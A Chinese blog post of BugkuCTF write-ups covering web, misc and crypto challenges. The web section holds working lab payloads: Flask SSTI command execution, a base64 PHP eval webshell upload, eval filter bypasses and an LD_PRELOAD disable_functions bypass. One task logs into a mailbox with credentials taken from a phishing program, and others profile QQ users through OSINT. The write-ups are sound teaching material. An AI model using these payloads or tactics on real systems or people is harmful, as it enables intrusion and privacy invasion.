BugkuCTF 部分题解(持续更新)

佛系更新

5月6日更新了FileStoragedat
5月2日更新了一道web
4月27日更新了两道misc
4月25日更新了一道misc

前言

bugku换新平台了,旧平台的web和misc大部分都刷完了,现在也是出了很多新题目,这里记录一下,web题可能做的少一点,因为确实是太费金币了。。。。

bugku

  • 佛系更新
  • 前言
  • WEB
  • game1
    • Simple_SSTI_1
    • Simple_SSTI_2
    • 聪明的php
    • xxx二手交易市场
    • 社工-伪造
    • web40
    • 社工-初步收集
    • No one knows regex better than me
    • 冬至红包
    • Flask_FileUpload
    • getshell
  • MISC
    • FileStoragedat
    • 可爱的故事
    • 悲伤的故事
    • split_all
    • 社工-进阶收集
    • 哥哥的秘密
      • 途径一
      • 途径二
    • 插画
    • 隐秘的角落
    • 赛博朋克
    • ping
    • 贝斯手
    • 想要种子吗
    • 放松一下吧
    • cisco
    • 被勒索了
    • 三色绘恋
    • 只有黑棋的棋盘
    • 蜘蛛侠
    • baby_flag.txt
    • 有黑白棋的棋盘
    • 奇怪的png图片
    • 爱因斯坦yyds
    • 贝氏六十四卦
    • baby_misc
    • 花点流量听听歌
    • 善用工具
    • 开始也是结束
    • 扭转乾坤
    • 欢乐牛年
    • Improve yourself
    • 神奇宝贝
    • 粗心的佳佳
    • 简单套娃
    • 闹酒狂欢
      • 方法一
      • 方法二
    • 知否
    • blind_injection
    • blind_injection2
    • 北有楠木
    • 1和0的故事
    • easy_nbt
  • Cyrpto
    • 你喜欢下棋吗
    • 你以为是md5吗
    • 把猪困在猪圈里
    • 小山丘的秘密
    • EN-气泡
    • 抄错的字符
    • 黄道十二宫
    • 你懂我的乐谱吗?

WEB

game1

审源码注意到
BugkuCTF 部分题解(持续更新)_第1张图片
故意玩输,在提示失败的时候注意下networkBugkuCTF 部分题解(持续更新)_第2张图片
根据刚才的源码,可以知道sign的值是zM+base64(score)+==

抓包修改,然后提交,记得连着sign的值也要改掉
BugkuCTF 部分题解(持续更新)_第3张图片

Simple_SSTI_1

5分的一个题目,而且奖励的金币正好等于开容器的金币,很友好

页面提示传入参数flag

You need pass in a parameter named flag。

F12查看源码得到第二个提示
在这里插入图片描述
SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag
BugkuCTF 部分题解(持续更新)_第4张图片
也可以构造?flag={ {config.items()}},导出所有config变量,其中就包括SECRET_KEY

Simple_SSTI_2

payload:?flag={ { config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}

聪明的php

进入页面,提示我们传入参数

pass a parameter and maybe the flag file’s filename is random :>

于是传入一个1试试,得到源码BugkuCTF 部分题解(持续更新)_第5张图片
然后传值,试试{}标记变量边界来解析,达到代码执行的目的,发现成功解析
BugkuCTF 部分题解(持续更新)_第6张图片
php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。

这里禁了systemexec(),也就是说只能使用passthru()
BugkuCTF 部分题解(持续更新)_第7张图片
查看根目录发现这个_15849很奇怪,查看后拿到flag
BugkuCTF 部分题解(持续更新)_第8张图片

xxx二手交易市场

这个题印象比较深,是内测的时候出的一个题,我当时试了半小时就放弃了,然后我同学坚持不懈最终拿了一血

首先账号123456、密码123456登录进去(当时是爆破出来的,弱口令yyds),发现可以上传头像
BugkuCTF 部分题解(持续更新)_第9张图片
先上传一个正经图片,抓包分析发现图片是转为base64形式后上传的
BugkuCTF 部分题解(持续更新)_第10张图片

写个一句话,转为base64PD9waHAgZXZhbCgkX1BPU1RbJzEyMyddKTs/Pg==,再把文件格式改成php,记住文件路径
BugkuCTF 部分题解(持续更新)_第11张图片

然后得到flag
BugkuCTF 部分题解(持续更新)_第12张图片

社工-伪造

开启环境,输入小号的qq号BugkuCTF 部分题解(持续更新)_第13张图片

进入界面,发现我小号的网名和头像被爬取到了
BugkuCTF 部分题解(持续更新)_第14张图片

查看小美的空间,得到关键信息,只有她男朋友要才给flag
BugkuCTF 部分题解(持续更新)_第15张图片
同时也给出她男朋友的qq号,盗号显然不是这题的解法,题目名是伪造,于是把小号的头像和网名换成她男朋友的同款,然后重新登录聊天室
BugkuCTF 部分题解(持续更新)_第16张图片
我换头像之后,在火狐浏览器重新登陆,显示的还是之前的头像,换成谷歌浏览器之后就好了。

web40

f12查看源码,看到假的flag和提示tig
BugkuCTF 部分题解(持续更新)_第17张图片
不太理解这个提示是什么意思,查看robots.txt也没有内容,用御剑扫一下,然后确定是git源码泄露,使用Git_Extract

┌──(volcano㉿kali)-[~/桌面/Git_Extract]
└─$ python git_extract.py http://114.67.246.176:11496/.git/ 

然后得到flag和三个假flagBugkuCTF 部分题解(持续更新)_第18张图片

社工-初步收集

这题挺杂的,涉及web+re+misc

打开网页→下载辅助,打开软件发现是个钓鱼软件,满满的回忆感,六年级的时候和同学一起用易语言写过一个类似的
BugkuCTF 部分题解(持续更新)_第19张图片
根据经验,这种软件会把受害者输入的qq及密码发送到指定邮箱里,用IDA分析能够得到想要的信息,因为我不会逆向,所以让朋友帮忙,最后得到三条有用信息

[email protected]
BIPHIVHSLESYPHMZ
smtp.163.com

前两条疑似账号密码,直接去163邮箱登录发现密码错误,后面百度了一下第三条信息,发现可能需要用邮箱客户端登录
BugkuCTF 部分题解(持续更新)_第20张图片
我这里下载的是foxmail,配置如下,成功登录进去
BugkuCTF 部分题解(持续更新)_第21张图片
收信箱里没找到可用信息,后面问了一下师傅们,发现有解题线索的那篇邮件被人恶意删除了,那个线索也是简单的搜集可用信息,我也留下线索希望能帮到后面做题的师傅们
BugkuCTF 部分题解(持续更新)_第22张图片
拿到这两个信息,一般可以用来当做账号密码登录,猜想刚才的网站有后台,尝试/admin
BugkuCTF 部分题解(持续更新)_第23张图片
登陆后拿到flag

No one knows regex better than me

 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
     
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
     
        die("Noooood hacker!");
    }else{
     
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
     
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
     
    highlight_file(__FILE__);
}

逐块分析
1、传入参数zerofirst,将二者拼接后传值给$second

$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;

2、第一个正则匹配

if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))

$second中,即拼接后的结果里要至少有上述内容中的一项
3、第二个正则匹配

if(preg_match("/\.\.|flag/",$key)){
     
        die("Noooood hacker!");
    }

$key即($second)中有..flag时被过滤
4、第三个正则匹配

$third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
     
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }

这里比较有意思了,我开始以为这里是匹配的\.php,测试后发现匹配的是|.php,因为\\|转义成\|后,又转义了一次,最后变成|,然后和后面的.php拼接成|.php

所以$first的值为|.php
易知$zero的值为ZmxhZy5waHA (flag.php经过一次base64编码)

回到第一个正则匹配,需要满足条件才能进入后面的匹配,这里比较有意思的是ZmxhZy5waHA中恰好有一个a

所以最终payload:

?zero=ZmxhZy5waHA&first=|.php
或者
POST:zero=ZmxhZy5waHA&first=|.php

冬至红包


    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';'; #根据系统时间生成字符串

    if (!isset($_GET['flag'])) {
        #传入参数flag
        echo '.$exam.'">Click here';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        #参数flag的长度要求等于49
        echo '长度不允许';
    }  #下面过滤了一堆
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
     
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
     
        echo $flag;
    }
    else {
     
        echo '马老师发生甚么事了';
    }

    echo '
'
; highlight_file(__FILE__);

这题比较难搞的一点是

    else if (eval($_GET['flag']) === sha1($flag)) {
     
        echo $flag;

这里的if条件是flag变量执行后,强等于它的sha1值,这个条件我感觉实现不了。。。

又仔细看了一下,发现可以从eval($_GET['flag']入手,达到echo $flag的目的。

因为前面把echo过滤了,这里使用短标签绕过

这题想要执行 echo $flag;?>

使用短标签$flag;?>

因为flag也被过滤了,所以还要进一步修改,这里还利用了双$$变量覆盖

先传入?flag=$a=flad       #flag中任意一个字母改掉,保证不被过滤
然后传一个$a{
     3}=g    #再把错误的字母替换回正确的字母
这个时候$a=flag    $$a=$flag
然后执行$$a;?>   即可

然后就开始构造payload

首先是?flag=$a=flad;$a{
     3}=g;?>

这样写和eval函数解析方式有关系

然后再接上$$a;?>
此时?flag=$a=flad;$a{
     3}=g;?>$$a;?>
总长度为27,还需要填充49-27=22个字符,填充的位置有好几种:

?flag=$a=flad;$a{
     3}=g;?>1111111111111111111111$$a;?>
?flag=$a=flad;$a{
     3}=g;?>$$a;?>1111111111111111111111
?flag=$a=flad;$a{
     3}=g;?>$$a;111111111111111111111;?>
?flag=$a=flad;111111111111111111111;$a{
     3}=g;?>$$a;?>

然后就得到flag了

Flask_FileUpload

萌新友好题
BugkuCTF 部分题解(持续更新)_第24张图片

getshell

打开环境,看到被混淆后的PHP代码
BugkuCTF 部分题解(持续更新)_第25张图片
参考大佬的博客解混淆得到


highlight_file(__FILE__);
@eval($_POST[ymlisisisiook]);
?>

蚁剑连接后,发现只能访问html目录下的文件
BugkuCTF 部分题解(持续更新)_第26张图片
查看phpinfo,发现禁了大批函数,包括常用的systemexec
在这里插入图片描述不过没有禁putenv,参考蚁剑插件之绕disable_functions

选择LD_PRELOAD方法→开始
BugkuCTF 部分题解(持续更新)_第27张图片
然后连接新上传的这个.antproxy.php
BugkuCTF 部分题解(持续更新)_第28张图片
BugkuCTF 部分题解(持续更新)_第29张图片
此时就可以访问根目录拿flag了

MISC

FileStoragedat

下载了一个dat文件,微信PC版存储的本地文件格式为DAT格式,在网上找工具解密即可

分析一个我找到的:https://lindi.cc/archives/301

把这个dat文件放在文件夹111中,然后用工具解密
BugkuCTF 部分题解(持续更新)_第30张图片
拿到flag
BugkuCTF 部分题解(持续更新)_第31张图片

可爱的故事

开始没做出来是因为不认识图片里是什么字符,现在评论区提示的很明显了,是原神里的提瓦特文,对照表如下
BugkuCTF 部分题解(持续更新)_第32张图片
hint.txt中有一个很重要的提示:flag为大兔子说的一句带bugku的话
BugkuCTF 部分题解(持续更新)_第33张图片
翻找一下,flag在这个位置,flag:bugku{iamlearningteyvatinbugku}

悲伤的故事

结合这两处提示,基本可以确定压缩包密码是九个字的电影名
BugkuCTF 部分题解(持续更新)_第34张图片
百度了一波,秒出,第一个压缩包的密码是比悲伤更悲伤的故事
BugkuCTF 部分题解(持续更新)_第35张图片
解压得到另一个加密的压缩包,还给了密码的格式:XXyueXXri,应该是一个日期,不过不知道在哪里找
在这里插入图片描述
注意到这一串数字比较奇怪,搜索了一下没有结果,这个正好是十位数字,有没有可能是qq号
BugkuCTF 部分题解(持续更新)_第36张图片
思路是对的,进空间看一下,发现一共13条说说,内容的格式基本都差不多,而且日期都是7月21日
BugkuCTF 部分题解(持续更新)_第37张图片
试了几下得到第二个压缩包密码:7yue21ri,其实这里也可以直接掩码爆破拿到密码
BugkuCTF 部分题解(持续更新)_第38张图片
把得到的exe文件扔进winhex里看一下,发现
BugkuCTF 部分题解(持续更新)_第39张图片
因为这里是exe文件,所以用pyinstxtractor去反编译(https://github.com/extremecoders-re/pyinstxtractor)

命令:

python3 pyinstxtractor.py 有一种悲伤…….exe

运行后在项目所在文件夹下找到反编译后得到的结果,在pyc文件中看到flag
在这里插入图片描述
不得不说,出题人有故事

split_all

下载得到一个打不开的file.png,扔进010editor中,发现文件头怪怪的,前面是png的文件头,后面有半截gif的文件头
在这里插入图片描述
把前面png文件头删去,补全gif文件头,另存为一个新图片
在这里插入图片描述
得到一个1*432的图片,扔进Stegsolve里发现有770张图,因为宽度太细了,所以看不出来
BugkuCTF 部分题解(持续更新)_第40张图片
结合题目名,应该是要把所有图片都拼起来,直接跑脚本

为了防止有萌新看不懂,还是解释一下,1.gif这个脚本还有文件夹123放在同一级目录下

from PIL import Image

def saveall(): #把每一帧都保存下来
    im = Image.open('1.gif')
    for i in range(770):
        im.seek(i)
        im.save('123/' + str(i) +'.png') #保存到同级文件夹123 中
    ping()
    
def ping(): #把每一帧拼接起来
    new_one = Image.new('RGB',(770,432))
    for j in range(770):
        ima = Image.open('123/' + str(j) +'.png')
        new_one.paste(ima,(j,0,j+1,432))
    new_one.save("flag.png")

if __name__ ==  "__main__":
    saveall()

社工-进阶收集

开局一张图
BugkuCTF 部分题解(持续更新)_第41张图片
先从图片中提取可用信息:

1、图中有一座金碧辉煌的塔,经过查找发现是西安市的大雁塔

2、小红是从始发站上的地铁,一共坐了七站,并且中间转了一站,对照下图

可以发现二号线和三号线都正好是七站到达大雁塔,但是三号线不需要转站,说明小红是从韦曲南出发的

3、始发站(韦曲南)离她家800多米,下一站(航天城)离她家1千多米

可以在地图上画两个圆,缩小范围,最后发现小红所在小区是兰乔国际城
BugkuCTF 部分题解(持续更新)_第42张图片
所以flag{lanqiaoguojicheng}

哥哥的秘密

又是一个社工题,到妹妹的空间找线索

我是按时间顺序做的,最早的一个说说下面有个评论,进去后发现有提示
BugkuCTF 部分题解(持续更新)_第43张图片
相册more hint的密码是happy,由密文经过base91->base58->base64得到

妹妹的第二个说说暴露了她的出生日期2000 12 26

根据她说说的定位可知,学校四川绵阳四川乐山

她的名字是刘佳佳,2月1日的说说里有一串盲文,解密得到hint:密码=时地人

下一步就是破解相册密码了

首先是名为一张二维码的相册,hint是2+3+8num=开始没看懂,后面才意识到是密码的形式

对应的是2个字母+3个字母+8个数字,测试后发现是地点+姓名+生日,即lsljj20001226
扫码得到My MicroBlog name:啊这ovo001,转战微博
BugkuCTF 部分题解(持续更新)_第44张图片
搜索2598888 乐山得到哥哥工作的公司尚纬股份
在这里插入图片描述
回头去破解第一个相册
BugkuCTF 部分题解(持续更新)_第45张图片
BugkuCTF 部分题解(持续更新)_第46张图片
得到邮箱[email protected]

因为是棋圣师傅的题,难免会有一系列套娃,所以就简单叙述解题步骤了

途径一

点击查看原图,然后下载第一张图,foremost分离出一个压缩包
在这里插入图片描述
题目描述.txt:

以下是题目描述:
噢,我的老兄,很抱歉看了你的照片,这感觉真是太糟了。我是说,虽然隔了这么久,我还是忍不住想用沉默之眼来寻查这之中的秘密。我想你可能对我们的靴子朋友或者屁股老弟有什么偏见,就像我们都以为约翰尼先生总打他的狗,但是事实不是那样的,他们就像兄弟一样,我亲眼所见,我发誓。


题目1:(题目1和题目2都可以得到flag相册密码,自由抉择选择哪条)
找到密码,将密码发送给指定的邮箱,即可获得flag,快来挑战吧!
(密码必须写在主题上而不是内容上)

根据提示沉默之眼,使用 SilentEye打开星星的夜.png,得到密码
BugkuCTF 部分题解(持续更新)_第47张图片
从这个图片中foremost分离出压缩包,使用密码解压得到第一个password.txt
BugkuCTF 部分题解(持续更新)_第48张图片
这一串密文需要经过多次base64解密,使用脚本
在这里插入图片描述
用winhex打开password.txt,发现大量零宽度字符,解密
BugkuCTF 部分题解(持续更新)_第49张图片
base64解密得到密文后两位是OK,然后去发邮件

不愧是套娃师傅
BugkuCTF 部分题解(持续更新)_第50张图片
base58->hex->base32->base64,最后得到相册密码youfindme!

拿到flag
BugkuCTF 部分题解(持续更新)_第51张图片

途径二

在做题的过程中偶然发现这是newsctf的新生赛,有一篇wp就是用第二种途径做的

这里直接挂链接,我真的不想再被套娃折磨一次了…

插画

下载的压缩包中给了一串base64密文

RnJlZV9GaWxlX0NhbW91ZmxhZ2UsIOmimOebruWlveWDj+aYr+aMuumHjeimgeeahOagt+WtkC4u

解密得到

Free_File_Camouflage, 题目好像是挺重要的样子…

压缩包中还给了一个图片pl.jpg
BugkuCTF 部分题解(持续更新)_第52张图片

经过binwalk、Stegsolve分析无果后,考虑题目给的提示Free_File_Camouflage,这是一个文件伪装图片工具,下载地址

BugkuCTF 部分题解(持续更新)_第53张图片
解密步骤如图,蓝框内填的是密码,题目中已经给出。

得到一个pl.txt

length q caller lc and print chr ord uc q ge log and print chr ord q eval ge and print chr ord q ge log and print chr ord q qr eq and print chr ord q my alarm and print chr ord qq q q and print chr ord q msgctl m and print chr ord q sin s and print chr ord qw q ne q and print chr ord qw q gt q and print chr ord q else and print chr ord q ge log and print chr ord q q q and print chr ord q lt eval and print chr ord q tie lt and print chr ord qw q m q and print chr ord q ge log and print chr ord qq q q and print chr ord q my m and print chr ord q xor x and print chr ord qw q use q and print chr ord qq q q and print chr ord q map m and print chr ord q oct do and print chr ord q oct no and print chr ord q ref or and print chr ord qw q sin q and print chr ord qw q sin q and print chr ord q q q and print chr ord q each le and print chr ord qq q q and print chr ord q qw q and print chr ord q ref or and print chr ord qw q bless q and print chr ord q msgctl m and print chr ord q tie gt and print chr ord q lt eval and print chr ord q ge log and print chr oct oct ord uc qw q bind q and print chr ord q q q and print chr ord q my m and print chr ord q local and print chr ord qw q use q and print chr ord q q q and print chr ord q else and print chr ord q ref or and print chr ord q map m and print chr ord q eval ge and print chr ord q ge log and print chr ord q q q and print chr ord q lt eval and print chr ord q qr q and print chr ord q each ne and print chr ord q oct no and print chr ord qw q keys q and print chr ord qw q sin q and print chr oct oct ord uc qw q fcntl q and print chr ord q q eq and print chr ord uc q lt eval and print chr ord q qr q and print chr ord q each le and print chr ord q lc eval and print chr ord qw q keys q and print chr ord qw q s q and print chr ord q q q and print chr ord q stat s and print chr ord q chr uc and print chr ord q each ne and print chr ord q lt eval and print chr ord qq q q and print chr ord q local and print chr ord q gt log and print chr ord q chop uc and print chr ord q ge log and print chr ord q qr eq and print chr ord qw q s q and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q ne q and print chr ord qq q q and print chr ord q map m and print chr ord q lc eval and print chr ord q oct no and print chr ord q ref or and print chr ord qw q s q and print chr ord q msgctl m and print chr oct oct ord uc qw q for q and print chr ord q q q and print chr ord uc q sin s and print chr ord qw q fcntl q and print chr ord q q q and print chr ord q my alarm and print chr ord q local and print chr ord q dump and and print chr ord q q eq and print chr ord qw q do q and print chr ord q pop and print chr ord qw q ne q and print chr oct oct oct ord uc qw q gt q and print chr ord q lt eval and print chr ord q q eq and print chr ord q else and print chr ord q tie lt and print chr ord qw or and print chr ord q map m and print chr oct oct ord uc qw q bless q and print chr ord q q eq and print chr ord qw q fcntl q and print chr ord q sin s and print chr ord qw q no q and print chr ord qw q die q and print chr ord q q eq and print chr ord q local and print chr ord qw q uc q and print chr ord q gt log and print chr ord q q q and print chr ord q qw q and print chr ord q chr uc and print chr ord q map m and print chr ord q lt eval and print chr ord qq q q and print chr ord qw q s q and print chr ord q pop and print chr ord qw q fork q and print chr ord q stat s and print chr ord q qw q and print chr ord q map m and print chr ord q qr q and print chr ord q ge log and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q not q and print chr ord q q eq and print chr ord q chr lc and print chr ord q ref or and print chr ord qw q le q and print chr ord q open no and print chr ord q q q and print chr ord q my m and print chr ord q pop and print chr ord q dump and and print chr ord qq q q and print chr ord q oct no and print chr ord q xor x and print chr ord q eval ge and print chr ord q ge log and print chr ord q qr eq and print chr ord q q eq and print chr ord q stat s and print chr ord q chr lc and print chr ord q ne sin and print chr ord q rmdir and print chr oct oct ord uc qw q for qprint chr ord q lc eval and print chr ord qw q keys q and print chr ord qw q s q and print chr ord q q q and print chr ord q stat s and print chr ord q chr uc and print chr ord q each ne and print chr ord q lt eval and print chr ord qq q q and print chr ord q local and print chr ord q gt log and print chr ord q chop uc and print chr ord q ge log and print chr ord q qr eq and print chr ord qw q s q and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q ne q and print chr ord qq q q and print chr ord q map m and print chr ord q lc eval and print chr ord q oct no and print chr ord q ref or and print chr ord qw q s q and print chr ord q msgctl m and print chr oct oct ord uc qw q for q and print chr ord q q q and print chr ord uc q sin s and print chr ord qw q fcntl q and print chr ord q q q and print chr ord q my alarm and print chr ord q local and print chr ord q dump and and print chr ord q q eq and print chr ord qw q do q and print chr ord q pop and print chr ord qw q ne q and print chr oct oct oct ord uc qw q gt q and print chr ord q lt eval and print chr ord q q eq and print chr ord q else and print chr ord q tie lt and print chr ord qw q kill q and print chr ord q ref or and print chr ord q q eq and print chr ord q lt eval and print chr ord q chr lc and print chr ord q ref or and print chr ord q q q and print chr ord q tie gt and print chr ord qw q die q and print chr ord q ref or and print chr ord q map m and print chr oct oct ord uc qw q bless q and print chr ord q q eq and print chr ord qw q fcntl q and print chr ord q sin s and print chr ord qw q no q and print chr ord qw q die q and print chr ord q q eq and print chr ord q local and print chr ord qw q uc q and print chr ord q gt log and print chr ord q q q and print chr ord q qw q and print chr ord q chr uc and print chr ord q map m and print chr ord q lt eval and print chr ord qq q q and print chr ord qw q s q and print chr ord q pop and print chr ord qw q fork q and print chr ord q stat s and print chr ord q qw q and print chr ord q map m and print chr ord q qr q and print chr ord q ge log and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q not q and print chr ord q q eq and print chr ord q chr lc and print chr ord q ref or and print chr ord qw q le q and print chr ord q open no and print chr ord q q q and print chr ord q my m and print chr ord q pop and print chr ord q dump and and print chr ord qq q q and print chr ord q oct no and print chr ord q xor x and print chr ord q eval ge and print chr ord q ge log and print chr ord q qr eq and print chr ord q q eq and print chr ord q stat s and print chr ord q chr lc and print chr ord q ne sin and print chr ord q rmdir and print chr oct oct ord uc qw q for q
#!/usr/bin/perl -w
length q rmdir and print chr oct hex ord uc q stat s and print chr ord qw q m q and print chr ord qw q x q and print chr ord q chr uc and print chr oct hex ord uc q lt eval and print chr oct oct ord uc qw q m q and print chr ord q stat s and print chr oct oct ord uc qw q m q and print chr ord q map m and print chr oct ord q mkdir m and print chr ord uc qw q flock q and print chr oct oct oct ord q open do and print chr ord uc q qx q and print chr length q x rename sethostent srand pack pipe setpwent syscall else eq split sleep endservent qw require symlink ne keys ord require x and print chr ord uc qw q for q and print chr length q q splice srand getservbyname setnetent ne reset endprotoent foreach scalar rewinddir cos setnetent not else getprotobyname q and print chr ord uc q exp le and print chr hex ord q m alarm and print chr ord uc qw q y q and print chr ord qw q x q and print chr ord uc q my m and print chr ord uc q qw eq and print chr ord q oct do and print chr oct oct oct ord q mkdir m and print chr ord qw q fork q and print chr ord uc q eq ne and print chr oct oct ord q eq le and print chr oct oct ord q eq le
length q caller lc and print chr ord uc q ge log and print chr ord q eval ge and print chr ord q ge log and print chr ord q qr eq and print chr ord q my alarm and print chr ord qq q q and print chr ord q msgctl m and print chr ord q sin s and print chr ord qw q ne q and print chr ord qw q gt q and print chr ord q else and print chr ord q ge log and print chr ord q q q and print chr ord q lt eval and print chr ord q tie lt and print chr ord qw q m q and print chr ord q ge log and print chr ord qq q q and print chr ord q my m and print chr ord q xor x and print chr ord qw q use q and print chr ord qq q q and print chr ord q map m and print chr ord q oct do and print chr ord q oct no and print chr ord q ref or and print chr ord qw q sin q and print chr ord qw q sin q and print chr ord q q q and print chr ord q each le and print chr ord qq q q and print chr ord q qw q and print chr ord q ref or and print chr ord qw q bless q and print chr ord q msgctl m and print chr ord q tie gt and print chr ord q lt eval and print chr ord q ge log and print chr oct oct ord uc qw q bind q and print chr ord q q q and print chr ord q my m and print chr ord q local and print chr ord qw q use q and print chr ord q q q and print chr ord q else and print chr ord q ref or and print chr ord q map m and print chr ord q eval ge and print chr ord q ge log and print chr ord q q q and print chr ord q lt eval and print chr ord q qr q and print chr ord q each ne and print chr ord q oct no and print chr ord qw q keys q and print chr ord qw q sin q and print chr oct oct ord uc qw q fcntl q and print chr ord q q eq and print chr ord uc q lt eval and print chr ord q qr q and print chr ord q each le and print chr ord q lc eval and print chr ord qw q keys q and print chr ord qw q s q and print chr ord q q q and print chr ord q stat s and print chr ord q chr uc and print chr ord q each ne and print chr ord q lt eval and print chr ord qq q q and print chr ord q local and print chr ord q gt log and print chr ord q chop uc and print chr ord q ge log and print chr ord q qr eq and print chr ord qw q s q and print chr ord q q q and print chr ord q lc eval and print chr ord q map m and print chr ord qw q ne q and print chr ord qq q q and print chr ord q map m and print chr ord q lc eval and print chr ord q oct no and print chr ord q ref or and print chr ord qw q s q and print chr ord q msgctl m and print chr oct oct ord uc qw q for q and print chr ord q q q and print chr ord uc q sin s and print chr ord qw q fcntl q and print chr ord q q q and print chr ord q my alarm and print chr ord q local and print chr ord q dump and and print chr ord q q eq and print chr ord qw q do q and print chr ord q pop and print chr ord qw q ne q and print chr oct oct oct ord uc qw q gt q and print chr ord q lt eval and print chr ord q q eq and print chr ord q else and print chr ord q tie lt and print chr ord qw q kill q and print chr ord q ref or and print chr ord q q eq and print chr ord q lt eval and print chr ord q chr lc and print chr ord q ref or and print chr ord q q q and print chr ord q tie gt and print chr ord qw q die q and print chr ord q ref or and print chr ord q map m and print chr oct oct ord uc qw q bless q and print chr ord q q eq and print chr ord qw q fcntl q and print chr ord q sin s and print chr ord qw q no q and print chr ord qw q die q and print chr ord q q eq and print chr ord q local and print chr ord qw q uc

只剩最后一步了,本来卡在这里了,直接用这个文本执行命令: cat pl.txt | perl

总是会报错,后面有师傅提醒说,只用第三段字符串解密就行
BugkuCTF 部分题解(持续更新)_第54张图片

把其他的字符串删除,只留选中的这一串,再次执行命令,得到结果
在这里插入图片描述
得到一串base64,拿去解密就得到flag (这里还是希望大家自己动手去试试)

隐秘的角落

下载得到的图片四角各有十六个特殊的像素点
BugkuCTF 部分题解(持续更新)_第55张图片
借助python的pillow库中的getpixel函数,获取这些像素的RGB值

结果如下:

(0, 84, 227)(1, 86, 99)(2, 112, 38)(3, 88, 85)(4, 82, 209)(5, 48, 34)(6, 78, 161)(7, 97, 239)(8, 77, 87)(9, 122, 130)(10, 78, 233)(11, 76, 28)(12, 85, 189)(13, 108, 98)(14, 86, 169)(15, 72, 227)

(31, 51, 248)(30, 115, 84)(29, 85, 63)(28, 87, 191)(27, 50, 131)(26, 89, 226)(25, 108, 41)(24, 87, 191)(23, 71, 192)(22, 53, 194)(21, 48, 183)(20, 78, 7)(19, 121, 211)(18, 81, 111)(17, 122, 102)(16, 85, 34)

(32, 84, 116)(33, 122, 129)(34, 86, 226)(35, 89, 36)(36, 86, 137)(37, 122, 202)(38, 82, 206)(39, 97, 137)(40, 82, 51)(41, 69, 220)(42, 90, 185)(43, 80, 247)(44, 83, 233)(45, 108, 168)(46, 82, 203)(47, 73, 116)

(63, 57, 62)(62, 107, 22)(61, 48, 61)(60, 78, 19)(59, 80, 8)(58, 100, 53)(57, 69, 95)(56, 87, 133)(55, 67, 107)(54, 57, 236)(53, 48, 212)(52, 78, 47)(51, 68, 151)(50, 78, 80)(49, 122, 155)(48, 83, 112)

发现R通道的数值是从0-63的有规律的数字,G通道的数值均在0-127范围内,B通道没有发现规律

那么按照R通道数字增加的规律,将对应G通道的ascii码转字符,拼接得到
TVpXR0NaMzNLUlVHUzQyN05GWlY2WUs3TzVYVzRaREZPSlRISzNDN09CWEdPN0k9
对应脚本如下:

from PIL import Image

im = Image.open('file.png')
x=y=""
for i in range(16):
    print(chr(im.getpixel((i, 0))[1]),end="")
for i in range(16):
    a = im.getpixel((im.size[0]-1-i,0))
    x += chr(a[1])
print(x[::-1],end="")
for i in range(16):
    print(chr(im.getpixel((i,im.size[1]-1))[1]),end="")
for i in range(16):
    b = im.getpixel((im.size[0]-1-i,im.size[1]-1))
    y += chr(b[1])
print(y[::-1])

解码两次得到flag
BugkuCTF 部分题解(持续更新)_第56张图片

赛博朋克

下载了一个加密的zip文件,凭感觉很容易发现是伪加密,用ZipCenOp破解后得到一个cyberpunk.txt,改后缀为pngBugkuCTF 部分题解(持续更新)_第57张图片
因为这是一个png文件,可以先用zsteg(限制png和bmp)分析一波,结果直接得到flag
BugkuCTF 部分题解(持续更新)_第58张图片
根据描述可知这是lsb隐写,也可以用Stegsolve手动做出来

ping

下载得到一个ping.pcap,用wireshark打开,得到38个ICMP协议的数据包,注意这个位置
BugkuCTF 部分题解(持续更新)_第59张图片
可以手动把每个数据包对应位置的字符串拼接起来,得到flag

使用tshark命令更方便,跟八神学的(tql)

volcano@kali:~/桌面$ tshark -r ping.pcap -Y "icmp" -T fields -e data | cut -c1-2 | xargs
66 6c 61 67 7b 64 63 37 36 61 31 65 65 65 36 65 33 38 32 32 38 37 37 65 64 36 32 37 65 30 61 30 34 61 62 34 61 7d

把十六进制转为字符串即是flag

贝斯手

给了丁建国的图片,加密flag.zip,和介绍.txt,txt文件中给出了flag.zip密码的线索,四位数的出生年份
在这里插入图片描述
直接选择Ziperello暴力破解,密码是1992,flag.txt中的内容:

5+58==327a6c4304ad5938eaf0efb6cc3e53dcCFmZknmK3SDEcMEue1wrsJdqqkt7dXLuS

5+58的意思是md5+base58

前半部分327a6c4304ad5938eaf0efb6cc3e53dcmd5解密后flag
后半部分CFmZknmK3SDEcMEue1wrsJdqqkt7dXLuSbase58解密后{this_is_md5_and_base58}

想要种子吗

下载得到一个jpg文件,在详细信息中有提示steghide隐写
BugkuCTF 部分题解(持续更新)_第60张图片
这里密码为空,直接回车即可

# steghide extract -sf torrent.jpg                                                                                            
Enter passphrase: 
wrote extracted data to "123.txt".

得到的123.txt中是一个网盘链接

https://pan.baidu.com/s/1oXOf-mKm5TOrbNWg0suWfg m6qn

下载得到
在这里插入图片描述
hint.txt中的内容是six six six,密码是666666(直接爆破也可得到),拿到第二个图片
BugkuCTF 部分题解(持续更新)_第61张图片
用010editor打开,发现尾部有额外数据,binwalk分离出flag.png
在这里插入图片描述
